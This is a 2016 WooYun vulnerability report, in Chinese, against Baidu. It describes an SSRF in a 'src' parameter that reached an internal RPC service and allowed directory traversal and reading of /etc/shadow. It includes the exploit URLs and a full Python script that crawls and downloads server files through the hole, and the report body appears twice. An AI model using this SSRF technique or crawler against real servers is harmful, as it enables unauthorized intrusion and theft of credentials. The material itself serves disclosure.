当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167695

漏洞标题:一次险些探测百度服务器的过程(从xss被礼节炮/到ssrf内网探测/再到rpc高权限全服务器文件读取)

相关厂商:百度

漏洞作者: hear7v

提交时间:2016-01-06 09:44

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:内部绝密信息泄漏

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-06: 细节已通知厂商并且等待厂商处理中
2016-01-06: 厂商已经确认,细节仅向厂商公开
2016-01-16: 细节向核心白帽子及相关领域专家公开
2016-01-26: 细节向普通白帽子公开
2016-02-05: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

rt

详细说明:

之前交了一个百度反射xss,虽然也感觉没多大用,不过1rank这样的礼节rank,虽然寄了礼物心中依然忿忿不平,再来到触发点处测试一开始打算的ssrf,当然,在写这报告的时候,最危险的洞由于昨晚用力太猛,已经被堵住,不过还是泄露了不少信息
漏洞处

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=1
&p=t
&brand=top
&rssadv=1
&src=http://127.0.0.1:403
&qq-pf-to=pcqq.c2c


主要是这里的src变量,我们输入www.baidu.com这些都可以成功得到访问信息,确认ssrf的存在,接下来先探测主机端口

6.jpg


这里我们发现了403等端口,访问

1.png


发现是百度rpc,下面的指令只能成功地执行少部分,获取一些并不敏感的主机信息

2.png


什么cpu信息,主机内核信息等,都无关紧要,这里不贴,接下来几天用脚本burp疯狂地对src进行10.x.x.x这样的内网ip探测,但是依旧没什么发现,基本准备放弃这个洞了。
昨天,想起了再看看这个地方,把url精简了下

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=7
&src=http://127.0.0.1:403


因为其他参数都是影响页面显示,没太大作用,现在一个cbsonline,一个src,src的作用我们知道,但是cbsonline的作用不清楚,先fuzz一下,

1.png


果然有发现1,4,7,我们来试试改变cbsonline参数

2.png


3.png


我们可以发现当cbsonline改成1的时候页面看着最舒服,我们再来试一下之前没有成功 的一些命令,

4.png


惊奇发现,全目录遍历,我们再来看看能不能读取

5.png


shadow直接读取了,很是开心,
于是开始手动地搜集敏感信息

6.png


用户的操作信息,从这些信息里面我们可以看到很多内网的ip,域名等敏感信息,

1.jpg


2.jpg


于是,话不多说写个脚本爬出所用文件信息,作死的一步。。。

#!/usr/bin/env python
#*******************************#
# Description: baidu_rpc #
# Author: hear7v #
#*******************************#
import requests
import sys
import os
import time
Session = requests.Session()
url = "http://webapp.cbs.baidu.com/rsstopic/gate"
base = 'http://127.0.0.1:403/'
def spider(str):
time.sleep(1)
nBase = base + str
Params = {'cbsonline':'1', 'src':nBase}
r = Session.get(url, params = Params)
ans = r.content
if "<a href=\"/dir/" in ans:
os.mkdir(str)
print "mkdir %s"%str
list1 = ans.split('</a>')
# print list1
list2 = []
# print list1
for st in list1[0:len(list1)-1]:
temp = st.split('>')
temp = temp[len(temp)-1]
if (len(temp)>0 and temp!='.' and temp!='..'):
list2.append(temp)
# print list2
for i in list2:
spider(str+'/'+i)
else:
print "mkfile %s"%str
f = open(str, 'a')
f.write(ans)
f.close
spider("dir")


9.png


到这里,就准备安安心心睡觉,第二天早上起来稳稳当当发财,到时候爬下所用文件,翻翻配置文件啊,找点数据库密码什么的,不过人还是太年轻,可能也和前几天肆无忌惮地爆内网有关,。。第二天早上起来发现。。

QQ图片20160106090517.jpg


怎么好多文件夹是makefile操作。。。好吧。。。再试试之前的payload发现,url的cbsonline参数已经做了处理,最终爬下来的文件。。

10.png


home里面爬了一半左右,看了下还是有不少敏感信息,只怪自己经验太少,实在是想不到百度安全在凌晨竟然会如此给力。本来指望着这个洞爬完文件,找找密码,交个wooyun,家里金毛明年的狗粮就有着落了。不过希望管理大大,看在这也是少有的对rpc的利用多给点rank,而且思路也比较奇葩,看能不能打个雷吧。

漏洞证明:

之前交了一个百度反射xss,虽然也感觉没多大用,不过1rank这样的礼节rank,虽然寄了礼物心中依然忿忿不平,再来到触发点处测试一开始打算的ssrf,当然,在写这报告的时候,最危险的洞由于昨晚用力太猛,已经被堵住,不过还是泄露了不少信息
漏洞处

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=1
&p=t
&brand=top
&rssadv=1
&src=http://127.0.0.1:403
&qq-pf-to=pcqq.c2c


主要是这里的src变量,我们输入www.baidu.com这些都可以成功得到访问信息,确认ssrf的存在,接下来先探测主机端口

6.jpg


这里我们发现了403等端口,访问

1.png


发现是百度rpc,下面的指令只能成功地执行少部分,获取一些并不敏感的主机信息

2.png


什么cpu信息,主机内核信息等,都无关紧要,这里不贴,接下来几天用脚本burp疯狂地对src进行10.x.x.x这样的内网ip探测,但是依旧没什么发现,基本准备放弃这个洞了。
昨天,想起了再看看这个地方,把url精简了下

http://webapp.cbs.baidu.com/rsstopic/gate
?cbsonline=7
&src=http://127.0.0.1:403


因为其他参数都是影响页面显示,没太大作用,现在一个cbsonline,一个src,src的作用我们知道,但是cbsonline的作用不清楚,先fuzz一下,

1.png


果然有发现1,4,7,我们来试试改变cbsonline参数

2.png


3.png


我们可以发现当cbsonline改成1的时候页面看着最舒服,我们再来试一下之前没有成功 的一些命令,

4.png


惊奇发现,全目录遍历,我们再来看看能不能读取

5.png


shadow直接读取了,很是开心,
于是开始手动地搜集敏感信息

6.png


用户的操作信息,从这些信息里面我们可以看到很多内网的ip,域名等敏感信息,

1.jpg


2.jpg


于是,话不多说写个脚本爬出所用文件信息,作死的一步。。。

#!/usr/bin/env python
#*******************************#
# Description: baidu_rpc #
# Author: hear7v #
#*******************************#
import requests
import sys
import os
import time
Session = requests.Session()
url = "http://webapp.cbs.baidu.com/rsstopic/gate"
base = 'http://127.0.0.1:403/'
def spider(str):
time.sleep(1)
nBase = base + str
Params = {'cbsonline':'1', 'src':nBase}
r = Session.get(url, params = Params)
ans = r.content
if "<a href=\"/dir/" in ans:
os.mkdir(str)
print "mkdir %s"%str
list1 = ans.split('</a>')
# print list1
list2 = []
# print list1
for st in list1[0:len(list1)-1]:
temp = st.split('>')
temp = temp[len(temp)-1]
if (len(temp)>0 and temp!='.' and temp!='..'):
list2.append(temp)
# print list2
for i in list2:
spider(str+'/'+i)
else:
print "mkfile %s"%str
f = open(str, 'a')
f.write(ans)
f.close
spider("dir")


9.png


到这里,就准备安安心心睡觉,第二天早上起来稳稳当当发财,到时候爬下所用文件,翻翻配置文件啊,找点数据库密码什么的,不过人还是太年轻,可能也和前几天肆无忌惮地爆内网有关,。。第二天早上起来发现。。

QQ图片20160106090517.jpg


怎么好多文件夹是makefile操作。。。好吧。。。再试试之前的payload发现,url的cbsonline参数已经做了处理,最终爬下来的文件。。

10.png


home里面爬了一半左右,看了下还是有不少敏感信息,只怪自己经验太少,实在是想不到百度安全在凌晨竟然会如此给力。本来指望着这个洞爬完文件,找找密码,交个wooyun,家里金毛明年的狗粮就有着落了。不过希望管理大大,看在这也是少有的对rpc的利用多给点rank,而且思路也比较奇葩看能不能打个雷吧。

修复方案:

主机ssh密码泄露,改了,其他配置文件,这些都要修改,etc全部泄露了,在用户的操作bash记录里面泄露了不少内网ip和相应的文件传送记录,域名这些也有,建议定期删除bashhistory,其他的泄露的文件里面信息还是很多的。学生党,期末,幸好被发现了,不然不知道要耽搁多少时间在这上面,说不准就挂科了。thx,百度安全哥哥们

版权声明:转载请注明来源 hear7v@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-01-06 13:35

厂商回复:

非常感谢您的报告,问题已着手处理,感谢您对百度安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无